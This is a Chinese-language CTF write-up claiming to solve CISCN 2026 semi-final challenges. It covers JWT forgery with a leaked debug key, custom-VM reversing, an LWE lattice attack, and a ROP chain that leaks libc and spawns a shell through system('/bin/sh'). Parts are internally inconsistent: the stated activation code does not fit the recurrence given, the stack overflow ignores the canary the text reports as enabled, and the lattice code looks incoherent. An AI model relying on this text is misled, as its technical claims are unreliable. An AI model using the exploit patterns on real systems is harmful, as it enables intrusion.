CISCN半决赛Web渗透与逆向工程实战解析-代码聚汇网

CISCN半决赛Web渗透与逆向工程实战解析

JWT安全逆向工程CTF竞赛

|难度：普通|阅读约 11 分钟

1. 赛事背景与解题思路复盘

CISCN（全国大学生信息安全竞赛）作为国内顶级网络安全赛事，每年都吸引着众多高校战队参与。2026年半决赛延续了往届"实战化、高强度"的命题风格，题目涵盖Web渗透、逆向工程、密码分析、二进制漏洞利用等主流安全领域。作为参赛队员，我将从技术视角完整还原解题过程，重点分析那些让选手们"卡壳"的题目设计。

不同于初赛相对独立的知识点考察，半决赛更注重综合能力的运用。题目间往往存在隐蔽关联，比如Web题的源码中可能藏着逆向题的线索，而密码题的输出又是某个二进制题的输入参数。这种环环相扣的设计，要求战队成员必须建立全局解题视野。

需要模型API调用？免费领10W Token，多模型网关一键接入 Claude、DeepSeek 等主流模型。

2. Web渗透题：基于JWT的权限提升漏洞

2.1 题目场景还原

题目提供一个在线文档管理系统，登录界面显示"普通用户权限仅可查看公开文档，管理员可上传敏感文件"。通过测试账号user1/user1登录后，发现Cookie中包含JWT令牌，解码后得到以下结构：

json复制{
  "alg": "HS256",
  "typ": "JWT"
}
{
  "username": "user1",
  "role": "user",
  "iat": 1735689600
}

2.2 漏洞挖掘过程

首先尝试修改JWT的role字段为admin后重放请求，但服务端返回"Invalid signature"。这说明需要突破签名验证。通过分析页面源码发现关键线索：

html复制<!-- 调试模式开关：?debug=1 -->

激活调试模式后，服务器返回了JWT签名密钥："sup3r_s3cr3t_k3y_2026!"。使用该密钥重新生成伪造令牌：

python复制import jwt
new_token = jwt.encode(
    {"username":"user1","role":"admin","iat":1735689600},
    "sup3r_s3cr3t_k3y_2026!",
    algorithm="HS256"
)

替换Cookie后成功获取管理员权限，在/admin/upload接口发现flag文件。

关键教训：JWT调试信息泄露是高频考点，实际开发中必须确保生产环境关闭所有调试输出。

3. 逆向工程题：虚拟机保护机制分析

3.1 题目特征分析

给出一个名为"secure_box"的ELF文件，运行后要求输入16位激活码。使用IDA Pro静态分析发现大量非标准指令，初步判断是自定义虚拟机保护。

通过动态调试观察内存变化，发现程序在0x401200处构建了虚拟指令解释器。关键突破点在于识别出虚拟机寄存器与x86寄存器的映射关系：

code复制R0 -> EAX
R1 -> EBX
R2 -> ECX
R3 -> EDX

3.2 反虚拟化技巧

编写Python脚本模拟虚拟机执行流程，重点跟踪对输入字符串的校验逻辑：

python复制def check_code(input_code):
    v_reg = [0]*4
    v_reg[0] = ord(input_code[0])
    for i in range(1,16):
        v_reg[1] = v_reg[0] ^ 0x55
        v_reg[2] = v_reg[1] + i
        v_reg[3] = v_reg[2] & 0xFF
        if v_reg[3] != ord(input_code[i]):
            return False
        v_reg[0] = v_reg[3]
    return True

通过逆推算法，发现激活码需满足递推关系：code[i] = ((code[i-1] ^ 0x55) + i) & 0xFF。假设首字符为'C'（常见比赛flag开头），最终解得完整激活码："CISCN2026@vmprot"。

4. 密码学题：基于格的错误学习攻击

4.1 题目数学模型

题目给出加密脚本和一组密文，核心加密逻辑如下：

python复制q = 2**32 - 5
A = random_matrix(ZZ, 80, 80)
S = random_matrix(ZZ, 80, 80)
E = random_matrix(ZZ, 80, 80, distribution="gaussian")
B = (A*S + E) % q

已知A和B，需要恢复S。这明显是LWE（Learning With Errors）问题的标准形式。

4.2 攻击方案实现

使用SageMath构造格进行攻击：

python复制m = 80
n = 80
q = 2^32 - 5

# 构建嵌入格
L = matrix(ZZ, m+n, m+n)
for i in range(m):
    for j in range(n):
        L[m+i,j] = A[i,j] * q
for i in range(m):
    L[i,n+i] = 1
for i in range(m):
    for j in range(n):
        L[m+i,n+j] = B[i,j]

# BKZ约简
L_red = L.BKZ(block_size=35)

# 提取短向量
for row in L_red:
    if row[0] == 0 and row[1] == 0:
        s_candidate = row[n:n+m]
        if all(abs(x) < q//4 for x in s_candidate):
            S_recovered = matrix(ZZ, s_candidate)
            break

成功恢复S后，解密得到flag：CISCN{Lattic3_4tt4ck_1s_p0w3rful}。

5. 二进制漏洞利用：ROP链构造的艺术

5.1 程序漏洞分析

给定程序vuln_server存在明显的栈溢出：

c复制void handle_client() {
    char buf[128];
    recv(client_fd, buf, 1024, 0); // 缓冲区溢出
    ...
}

检查保护机制：

code复制RELRO    STACK CANARY   NX       PIE
Partial  Enabled        Enabled  Disabled

关键突破点在于程序加载了libc-2.35.so，且每次运行地址不变（无PIE）。

5.2 利用链构造

泄露libc基地址：

python复制pop_rdi = 0x4012a3
puts_plt = 0x401080
puts_got = 0x404018

payload = b'A'*136
payload += p64(pop_rdi)
payload += p64(puts_got)
payload += p64(puts_plt)
payload += p64(0x401196) # 返回main

计算libc基址后，最终getshell的ROP链：

python复制libc.address = puts_addr - libc.sym['puts']
system = libc.sym['system']
binsh = next(libc.search(b'/bin/sh'))

payload = b'A'*136
payload += p64(pop_rdi + 1) # ret sled for movaps
payload += p64(pop_rdi)
payload += p64(binsh)
payload += p64(system)

6. 综合技巧与参赛建议

通过本次半决赛，我总结了几个关键经验：

时间分配策略：先完成有把握的题目获取基础分，再集中攻克高分难题
团队协作模式：Web和逆向选手应实时共享发现的关键线索
工具链准备：提前配置好各类调试工具（GDB-peda、pwntools等）的模板脚本
异常处理：遇到非预期结果时，立即检查网络环境或请求频率限制

比赛中那个虚拟机逆向题最令人印象深刻——它巧妙地将flag验证逻辑隐藏在自定义指令集中。我们花了90分钟才意识到可以通过动态插桩记录指令流模式，而非完全逆向虚拟机实现。这种"跳出盒子"的思维，正是CTF竞赛的精髓所在。